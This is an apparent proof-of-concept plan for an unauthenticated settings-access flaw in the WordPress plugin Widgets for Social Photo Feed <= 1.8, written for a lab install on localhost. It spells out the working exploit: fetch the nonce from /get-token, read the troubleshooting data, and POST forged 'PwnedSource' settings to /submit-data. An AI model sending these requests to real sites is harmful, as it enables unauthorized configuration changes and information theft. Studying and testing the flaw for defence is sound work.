Widgets for Social Photo Feed <= 1.8 - Missing Authentication to Unauthenticated Plugin Settings Access/Update via trustindex_feed_hook_instagram REST API endpoints

This analysis details a vulnerability in the Widgets for Social Photo Feed plugin (<= 1.8), where several REST API endpoints lack proper capability checks, allowing unauthenticated attackers to access sensitive information and modify plugin settings.

1. Vulnerability Summary

The plugin registers a REST API namespace trustindex_feed_hook_instagram with several endpoints. While these endpoints attempt a custom authentication check via a function getAuthError(), the plugin also provides a public endpoint /get-token that generates and returns the very nonce required to pass this check. Furthermore, the permission_callback for all these routes is set to __return_true, effectively bypassing WordPress's built-in REST API authorization.

2. Attack Vector Analysis

• Endpoints:
  • GET /wp-json/trustindex_feed_hook_instagram/get-token (Used to obtain the nonce)
  • GET /wp-json/trustindex_feed_hook_instagram/troubleshooting (Information Exposure)
  • POST /wp-json/trustindex_feed_hook_instagram/submit-data (Settings Modification)
  • GET /wp-json/trustindex_feed_hook_instagram/refresh-data (Data Exposure)
• Namespace: trustindex_feed_hook_instagram (dynamically generated via getWebhookAction() in trustindex-feed-plugin.class.php)
• Authentication: None required (unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow

1. Registration: In social-photo-feed-widget.php (lines 127-183), the plugin uses register_rest_route to define hooks.
2. Auth Bypass: Each route defines 'permission_callback' => '__return_true'.
3. The "Key" to the Vault: The /get-token endpoint (lines 128-135) calls wp_create_nonce('admin_action_nonce') and returns it in a JSON response.
4. The Vulnerable Sink: The /submit-data endpoint (lines 154-183) calls getAuthError($request). Based on the /get-token endpoint, getAuthError expects a nonce parameter matching admin_action_nonce.
5. Execution: Once the nonce check is passed, /submit-data takes the data parameter, unsanitizes it (via wp_unslash), passes it to sanitizeJsonData, and then calls saveConnectedSource($source). This function updates the WordPress option trustindex-instagram-source.

4. Nonce Acquisition Strategy

Unlike typical WordPress vulnerabilities requiring complex extraction, this plugin provides the nonce directly via its own API.

1. Action String: admin_action_nonce
2. Acquisition Method: Send a simple GET request to the REST API.
3. HTTP Request:

   GET /wp-json/trustindex_feed_hook_instagram/get-token HTTP/1.1
   Host: localhost
   

4. Expected Response: {"nonce":"[10_digit_nonce]"}

5. Exploitation Strategy

Step 1: Obtain the Nonce

Use the http_request tool to fetch the nonce.

Step 2: Information Disclosure (Troubleshooting)

Access the troubleshooting data which contains system environment details.

• Method: GET
• URL: /wp-json/trustindex_feed_hook_instagram/troubleshooting
• Query Param: nonce=[obtained_nonce]
• Expected Result: A <pre> block containing server info, versions, and internal plugin state.

Step 3: Plugin Settings Modification

Modify the "source" configuration to prove modification capability.

• Method: POST
• URL: /wp-json/trustindex_feed_hook_instagram/submit-data
• Body (URL-encoded):

  nonce=[obtained_nonce]&data={"name":"PwnedSource","user_id":"12345","active":true}
  

• Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

1. Install and activate Widgets for Social Photo Feed version 1.7.9 or 1.8.
2. No specific settings are required as the vulnerability exists in the default state upon activation.

7. Expected Results

• Success (Get Token): HTTP 200 with a JSON body containing a 10-character alphanumeric nonce.
• Success (Troubleshooting): HTTP 200 with a text/html response displaying internal server diagnostics.
• Success (Submit Data): HTTP 200 with a JSON body containing a token (the public-id option value).

8. Verification Steps

After the POST request, verify the database state using WP-CLI:

# Check if the 'source' option was updated
wp option get trustindex-instagram-source --format=json

The output should contain "name":"PwnedSource".

9. Alternative Approaches

If getAuthError does not accept the nonce via query parameters, it may expect it in an HTTP header:

• Alternative Header: X-WP-Nonce: [obtained_nonce] or X-Trustindex-Auth: [obtained_nonce]

If the /submit-data endpoint requires specific JSON structure to avoid early return, use the structure found in getConnectedSource():

{
    "name": "{\"val\":\"Exploit\"}",
    "user_id": "999",
    "access_token": "malicious_token"
}